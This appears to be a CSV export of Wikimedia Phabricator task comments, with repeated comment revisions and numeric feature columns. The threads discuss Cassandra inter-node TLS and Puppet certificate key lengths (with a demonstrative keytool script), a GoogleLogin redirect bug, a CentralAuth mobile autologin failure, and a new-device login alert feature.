+512406,Cassandra inter-node encryption (TLS),"> 4K is puppet's default unless `keylength` is specified, https://docs.puppetlabs.com/references/latest/configuration.html#keylength (default changed in https://github.com/puppetlabs/puppet/pull/498)
+> The procedure we followed a couple of months ago is https://wikitech.wikimedia.org/wiki/Puppet_CA_replacement essentially:
+> * regenerate puppet CA and the master's certs
+> * backup client keys for hosts running backups since they are used for per-host encryption
+> * wipe client keys and ask puppet clients to ask for certs again
+> * update users of puppet private keys with new keys, currently bacula and ipsec
+
+* users also include etcd
+
+so for cassandra and multiple instances using puppet certificates means we'd be sharing the hosts' cert among instances, though each instance is bound to a different ip address so validation might not work because forward/reverse address resolution won't match, for example",,,1440174863,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,True,,,7,True,1,0,0,1,1,1,0,1,1,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+511486,Cassandra inter-node encryption (TLS),">>! In T108953#1539824, @BBlack wrote:
+> The latter is what I'd like to do for the client auth and varnish<->varnish parts of T108580 as well, but one of the outstanding issues there is that our puppet keys are currently 4K RSA, and we'd rather them be 2K RSA.  4K is unnecessary and very very slow, basically.  It affects CPU utilization on the puppetmasters to boot.  The question is how much of a PITA it will be to redo puppet keys again.
+
+4K is puppet's default unless `keylength` is specified, https://docs.puppetlabs.com/references/latest/configuration.html#keylength (default changed in https://github.com/puppetlabs/puppet/pull/498)
+The procedure we followed a couple of months ago is https://wikitech.wikimedia.org/wiki/Puppet_CA_replacement essentially:
+* regenerate puppet CA and the master's certs
+* backup client keys for hosts running backups since they are used for per-host encryption
+* wipe client keys and ask puppet clients to ask for certs again
+* update users of puppet private keys with new keys, currently bacula and ipsec
+
+There doesn't seem to be any native support for puppet CA rollovers, anyways it seems like we need to do this anyway if we go down the road of reusing puppet host certs for higher traffic applications, bigger keys might also impact bacula restore times",,,1440062749,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,True,,,7,True,1,0,1,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,0,1,1,1,1,1,1,1,1,0,1
+511483,Cassandra inter-node encryption (TLS),">>! In T108953#1539824, @BBlack wrote:
+> The latter is what I'd like to do for the client auth and varnish<->varnish parts of T108580 as well, but one of the outstanding issues there is that our puppet keys are currently 4K RSA, and we'd rather them be 2K RSA.  4K is unnecessary and very very slow, basically.  It affects CPU utilization on the puppetmasters to boot.  The question is how much of a PITA it will be to redo puppet keys again.
+
+4K is puppet's default unless `keylength` is specified, https://docs.puppetlabs.com/references/latest/configuration.html#keylength
+The procedure we followed a couple of months ago is https://wikitech.wikimedia.org/wiki/Puppet_CA_replacement essentially:
+* regenerate puppet CA and the master's certs
+* backup client keys for hosts running backups since they are used for per-host encryption
+* wipe client keys and ask puppet clients to ask for certs again
+* update users of puppet private keys with new keys, currently bacula and ipsec
+
+There doesn't seem to be any native support for puppet CA rollovers, anyways it seems like we need to do this anyway if we go down the road of reusing puppet host certs for higher traffic applications, bigger keys might also impact bacula restore times",,,1440062482,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,True,,,7,True,1,0,1,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,0,1,1,1,1,1,1,1,1,0,1
+508353,Cassandra inter-node encryption (TLS),"The latter is what I'd like to do for the client auth and varnish<->varnish parts of T108580 as well, but one of the outstanding issues there is that our puppet keys are currently 4K RSA, and we'd rather them be 2K RSA.  4K is unnecessary and very very slow, basically.  It affects CPU utilization on the puppetmasters to boot.  The question is how much of a PITA it will be to redo puppet keys again.",,,1439565771,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,True,,,6,True,1,0,1,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0
+508124,Cassandra inter-node encryption (TLS),"looks like we could do the following:
+1. for each host in a given cassandra cluster, generate its public/private keypair, add the public key to the trusted store and commit the result to private.git, distribute via puppet as usual
+2. trust the puppet CA instead and let puppet generate public/private keypair on the host signed by puppet CA. This would work, however we'll need to control which hosts are trusted anyway or any host running puppet will be trusted in theory",,,1439543000,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,True,,,6,True,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+507865,Cassandra inter-node encryption (TLS),"So (for demonstrative purposes only), here is how the process of {key,trust}store generation usually goes:
+
+```
+#!/bin/bash                                                                                             
+
+for dc in eqiad codfw; do
+    for i in {1..9}; do
+        node=restbase100$i.$dc
+
+        # Generate node-specific keystore with (2048 byte) RSA key, (lasts 1yr)                         
+        keytool \
+            -genkeypair \
+            -dname ""cn=Eric Evans, ou=Services, o=WMF, c=US"" \
+            -keyalg RSA \
+            -alias $node \
+            -validity 365 \
+            -keypass qwerty \
+            -storepass pass123 \
+            -keystore $node.ks
+
+        # Export the certificate generated above, in RFC 1421 format                                    
+        keytool \
+            -exportcert \
+            -rfc \
+            -alias $node \
+            -file $node.crt \
+            -storepass pass123 \
+            -keystore $node.ks
+
+        # Import the previously exported cert into the truststore                                       
+        keytool \
+            -importcert \
+            -v \
+            -trustcacerts \
+            -noprompt \
+            -alias $node \
+            -file $node.crt \
+            -storepass pass123 \
+            -keystore truststore
+    done
+done
+```
+
+And the above would be configured in Cassandra with something like the following (in cassandra.yaml):
+
+```
+...
+
+server_encryption_options:
+    internode_encryption: all
+    keystore: conf/restbase1001.eqiad.ks
+    keystore_password: qwerty
+    truststore: conf/truststore
+    truststore_password: pass123
+    require_client_auth: true
+
+...
+```",,,1439503256,,PHID-USER-7mtggupugbd5i55vuvdc,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,6,True,1,1,0,1,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,1,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1
+507850,Cassandra inter-node encryption (TLS),"So (for demonstrative purposes only), here is how the process of {key,trust}store generation usually goes:
+
+```
+#!/bin/bash                                                                                             
+
+for dc in eqiad codfw; do
+    for i in {1..9}; do
+        node=restbase100$i.$dc
+
+        # Generate node-specific keystore with (2048 byte) RSA key, (lasts 1yr)                         
+        keytool \
+            -genkeypair \
+            -dname ""cn=Eric Evans, ou=Services, o=WMF, c=US"" \
+            -keyalg RSA \
+            -alias $node \
+            -validity 365 \
+            -keypass qwerty \
+            -storepass pass123 \
+            -keystore $node.ks
+
+        # Export the certificate generated above, in RFC 1421 format                                    
+        keytool \
+            -exportcert \
+            -rfc \
+            -alias $node \
+            -file $node.crt \
+            -storepass pass123 \
+            -keystore $node.ks
+
+        # Import the previously exported cert into the truststore                                       
+        keytool \
+            -importcert \
+            -v \
+            -trustcacerts \
+            -noprompt \
+            -alias $node \
+            -file $node.crt \
+            -storepass pass123 \
+            -keystore truststore
+    done
+done
+```
+
+And the above would be configured in Cassandra with something like the following (in cassandra.yaml):
+
+```
+...
+
+server_encryption_options:
+    internode_encryption: all
+    keystore: restbase1001.eqiad.ks
+    keystore_password: qwerty
+    truststore: conf/truststore
+    truststore_password: pass123
+    require_client_auth: true
+
+...
+```",,,1439502729,,PHID-USER-7mtggupugbd5i55vuvdc,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,6,True,1,1,0,1,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,1,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1
+507849,Cassandra inter-node encryption (TLS),"So (for demonstrative purposes only), here is how the process of {key,trust}store generation usually goes:
+
+```
+#!/bin/bash                                                                                             
+
+for dc in eqiad codfw; do
+    for i in {1..9}; do
+        node=restbase100$i.$dc
+
+        # Generate node-specific keystore with (2048 byte) RSA key, (lasts 1yr)                         
+        keytool \
+            -genkeypair \
+            -dname ""cn=Eric Evans, ou=Services, o=WMF, c=US"" \
+            -keyalg RSA \
+            -alias $node \
+            -validity 365 \
+            -keypass qwerty \
+            -storepass pass123 \
+            -keystore $node.ks
+
+        # Export the certificate generated above, in RFC 1421 format                                    
+        keytool \
+            -exportcert \
+            -rfc \
+            -alias $node \
+            -file $node.crt \
+            -storepass pass123 \
+            -keystore $node.ks
+
+        # Import the previously exported cert into the truststore                                       
+        keytool \
+            -importcert \
+            -v \
+            -trustcacerts \
+            -noprompt \
+            -alias $node \
+            -file $node.crt \
+            -storepass pass123 \
+            -keystore truststore
+    done
+done
+```
+
+And the above would be configured in Cassandra with something like the following (in cassandra.yaml):
+
+```
+...
+
+server_encryption_options:
+    internode_encryption: none
+    keystore: restbase1001.eqiad.ks
+    keystore_password: qwerty
+    truststore: conf/truststore
+    truststore_password: pass123
+    require_client_auth: true
+
+...
+```",,,1439502710,,PHID-USER-7mtggupugbd5i55vuvdc,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,6,True,0,1,0,1,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,1,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1
+507844,Cassandra inter-node encryption (TLS),"So (for demonstrative purposes only), here is how the process of {key,trust}store generation usually goes:
+
+```
+#!/bin/bash                                                                                             
+
+for dc in eqiad codfw; do
+    for i in {1..9}; do
+        node=restbase100$i.$dc
+
+        # Generate node-specific keystore with (2048 byte) RSA key, (lasts 1yr)                         
+        keytool \
+            -genkeypair \
+            -dname ""cn=Eric Evans, ou=Services, o=WMF, c=US"" \
+            -keyalg RSA \
+            -alias $node \
+            -validity 365 \
+            -keypass qwerty \
+            -storepass pass123 \
+            -keystore $node.ks
+
+        # Export the certificate generated above, in RFC 1421 format                                    
+        keytool \
+            -exportcert \
+            -rfc \
+            -alias $node \
+            -file $node.crt \
+            -storepass pass123 \
+            -keystore $node.ks
+
+        # Import the previously exported cert into the truststore                                       
+        keytool \
+            -importcert \
+            -v \
+            -trustcacerts \
+            -noprompt \
+            -alias $node \
+            -file $node.crt \
+            -storepass pass123 \
+            -keystore truststore
+    done
+done
+```
+",,,1439502542,,PHID-USER-7mtggupugbd5i55vuvdc,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,6,True,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,1
+507856,Cassandra inter-node encryption (TLS),">>! In T108953#1535313, @Joe wrote:
+> @Eevans a few questions:
+> - how should the certs be created (I mean, what should be the name on the cert)?
+
+I don't think this matters (if I understand the question correctly).
+
+> - is there some limitation/ reccomendation on key lengths, etc?
+
+People typically use the `keytool` default of 2048 for RSA keys.
+
+> - do those certs need to be signed by a CA? if so, I guess we would need to rebuild the java keystore for that. Is that right?
+
+~~I don't think this necessary; TTBMK, Cassandra is relying entirely on the the explicitly configured truststore (meaning, I don't think we can avoid this step).~~
+
+Edit: To be clear, I don't think it would be any problem to use CA signed certificates, even if people generally just add the certs they are interested in to the truststore.
+
+> depending on the answers, we might make use of the puppet-generated host certs or not.
+
+It sounds like it's possible to import an externally generated key, (see for example: http://stackoverflow.com/a/8224863).
+
+",,,1439502948,,PHID-USER-7mtggupugbd5i55vuvdc,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,6,True,1,0,1,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,1
+507818,Cassandra inter-node encryption (TLS),">>! In T108953#1535313, @Joe wrote:
+> @Eevans a few questions:
+> - how should the certs be created (I mean, what should be the name on the cert)?
+
+I don't think this matters (if I understand the question correctly).
+
+> - is there some limitation/ reccomendation on key lengths, etc?
+
+People typically use the `keytool` default of 2048 for RSA keys.
+
+> - do those certs need to be signed by a CA? if so, I guess we would need to rebuild the java keystore for that. Is that right?
+
+I don't think this necessary; TTBMK, Cassandra is relying entirely on the the explicitly configured truststore (meaning, I don't think we can avoid this step).
+
+> depending on the answers, we might make use of the puppet-generated host certs or not.
+
+It sounds like it's possible to import an externally generated key, (see for example: http://stackoverflow.com/a/8224863).
+
+",,,1439500581,,PHID-USER-7mtggupugbd5i55vuvdc,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,6,True,1,0,1,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,1
+507464,Cassandra inter-node encryption (TLS),"@Eevans a few questions:
+- how should the certs be created (I mean, what should be the name on the cert)? 
+- is there some limitation/ reccomendation on key lengths, etc?
+- do those certs need to be signed by a CA? if so, I guess we would need to rebuild the java keystore for that. Is that right?
+
+depending on the answers, we might make use of the puppet-generated host certs or not.",,,1439479076,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,True,,,6,True,1,0,0,1,1,1,1,0,0,1,0,0,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+108473,Returnto doesn't work with GoogleLogin,"If you click the Login link on an article page and login using your username and password, you will be redirected to the article from where you started the login process automatically. If you use GoogleLogin instead, you get redirected to the main page. You should be redirected to the article, too, if you use GoogleLogin.",High,80.0,1439041607,1439042285.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-TASK-if5incnv7p5hd5pru7oi,task_description,resolved,True,c3,3,True,True,True,5,True,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+504673,Returnto doesn't work with GoogleLogin,"Change 230307 merged by jenkins-bot:
+Fix return to page where login process started
+
+[[https://gerrit.wikimedia.org/r/230307]]",,,1439042253,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-if5incnv7p5hd5pru7oi,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1
+504672,Returnto doesn't work with GoogleLogin,"Change 230307 had a related patch set uploaded (by Florianschmidtwelzow):
+Fix return to page where login process started
+
+[[https://gerrit.wikimedia.org/r/230307]]
+",,,1439042107,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-if5incnv7p5hd5pru7oi,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1
+108201,"CentralAuth autologin broken for non-www mobile domains (mediawiki.org, wikidata.org)","1. View https://commons.m.wikimedia.org/wiki/Main_Page
+2. Open web console
+
+> GET https://www.m.mediawiki.org/wiki/Special:CentralAutoLogin/start?type=1x1&from=commonswiki&mobile=1 DNS net::ERR_NAME_NOT_RESOLVED
+> GET https://www.m.wikidata.org/wiki/Special:CentralAutoLogin/start?type=1x1&from=commonswiki&mobile=1 DNS net::ERR_NAME_NOT_RESOLVED
+
+May be related:
+* {T45123}",High,80.0,1438881269,1584983733.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-uqcn2l4ng4murmyfnvyp,False,PHID-TASK-ipatywsrykw764ppptl4,task_description,duplicate,True,c3,3,True,False,False,5,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+1469393,"CentralAuth autologin broken for non-www mobile domains (mediawiki.org, wikidata.org)",Closing this as a duplicate of T225814 as actual debugging of the issue has happened on that task.,,,1584983758,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-ipatywsrykw764ppptl4,task_subcomment,,True,c3,3,True,,,246,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+598866,"CentralAuth autologin broken for non-www mobile domains (mediawiki.org, wikidata.org)",still is broken :/,,,1453975581,,PHID-USER-lzhljhpbm3qfphvqyill,False,,,PHID-TASK-ipatywsrykw764ppptl4,task_subcomment,,True,c3,3,True,,,30,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+503409,"CentralAuth autologin broken for non-www mobile domains (mediawiki.org, wikidata.org)","Probably related to T100413 ?
+",,,1438881336,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-ipatywsrykw764ppptl4,task_subcomment,,True,c3,3,True,,,5,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+107707,Login alert when user logs in from new machine,"Create an opt-in email notification when a user logs in for a new device. This is for admins and active editors who are worried about getting hacked. 
+
+The notification is off by default, opt-in under the Notifications tab. 
+
+Definition of ""new device"" is the same as LoginNotify. There's a cookie per device, which lasts for 90 days since the last time you logged in with that device. 
+
+
+Email: 
+
+Someone (probably you) recently logged in to your account from a new device. If this was you, then you can disregard this message. If it wasn't you, then it's recommended that you change your password, and check your account activity.
+
+Help information:  <https://mediawiki.org/wiki/Help:Login_notifications?markasread=60>
+
+Change password:  <http://core.local/index.php/Special:ChangePassword>
+
+
+
+----
+
+original ticket:
+
+Most large sites (Facebook, Google etc.) offer some kind of alert when someone logs in to an account from a new machine - it's a good way of protecting against account theft:
+{F305280}
+{F305286}
+{F2546774}
+
+I wonder if something like that would make sense for MediaWiki? Ie.
+* put the one.way hashed username in a cookie with very long expiration
+* after a successful login check for the presence of the cookie
+* if it's there, update the expiration date
+* if it's not there, and the user requested alerts, send an email with the IP and other details of the login.",High,80.0,1438542665,1499888418.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-qztkawkvfnwvkspdr46l,False,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_description,resolved,True,c3,3,True,False,False,4,True,1,1,1,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,0,0,1,0,1,0,0,0,1,1,0,1,1,1,0,1,0,1,1,1,0,0,1,1,0,1,0,0,1,1,1,1,0,1,1,0,0,1,1,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1
+893006,Login alert when user logs in from new machine,"Here's what the HTML email looks like: 
+
+{F8722503}
+
+The preference is off by default for all.",,,1499888418,,PHID-USER-qztkawkvfnwvkspdr46l,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,True,,,105,True,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+892114,Login alert when user logs in from new machine,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AV0z-J-TU4b8yJAIAg9B} [2017-07-11T23:25:18Z] <dereckson@tin> Synchronized wmf-config/CommonSettings.php: Config changes for LoginNotify (T107707) (duration: 00m 47s)",,,1499815518,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,False,,,105,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+892111,Login alert when user logs in from new machine,"Change 362323 merged by jenkins-bot:
+[operations/mediawiki-config@master] Config changes for LoginNotify
+
+[[https://gerrit.wikimedia.org/r/362323]]
+",,,1499815262,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,False,,,105,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+891045,Login alert when user logs in from new machine,">>! In T107707#3423365, @kaldari wrote:
+> @Niharika: Should be no blockers now. Please schedule this for SWAT deployment.
+
+Scheduled for Tuesday evening SWAT. ",,,1499733024,,PHID-USER-qztkawkvfnwvkspdr46l,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,True,,,105,True,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1
+891018,Login alert when user logs in from new machine,@Niharika: Should be no blockers now. Please schedule this for SWAT deployment.,,,1499730546,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,False,,,105,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0
+885164,Login alert when user logs in from new machine,"Change 362323 had a related patch set uploaded (by Niharika29; owner: Niharika29):
+[operations/mediawiki-config@master] Config changes for LoginNotify
+
+[[https://gerrit.wikimedia.org/r/362323]]
+",,,1498780772,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,False,,,104,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+874675,Login alert when user logs in from new machine,"@Tgr: Good points. We discussed moving forward with notifications for successful logins today, and I think it's a reasonable idea. (We were mainly trying to limit the scope to make sure the extension actually gets deployed.) I think we just need to flesh out the specifics for that feature a bit more, but it's doable.",,,1497292986,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,False,,,101,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,1,1,0,0,1,0,1,1,0,0
+865695,Login alert when user logs in from new machine,">>! In T107707#3267312, @Tgr wrote:
+> The announcement says
+>> This extension does not give you notifications when somebody successfully logs into your account from an unknown device or IP. It is technically possible to generate those, but if somebody else has logged in, they could just as easily see those notifications and do a password reset (which the notification encourages you to do). The ideal way to handle this is to issue email notifications for this case, but since most Wikipedia accounts do not have emails associated with them, this wouldn't be useful to majority of the users. So for the time being, we have settled for not issuing these notifications.
+> 
+> That reasoning does not make sense to me. High-value accounts (functionaries etc) almost certainly have an email address enabled, most power users do have an email address set, so most of the people who would actually get targeted do get a benefit from such warnings (unlike failed login notifications which have very limited practical value).
+> 
+> Also, an attacker does not gain anything from doing a password reset. They could change the email address but then the real owner at least gets warned.
+
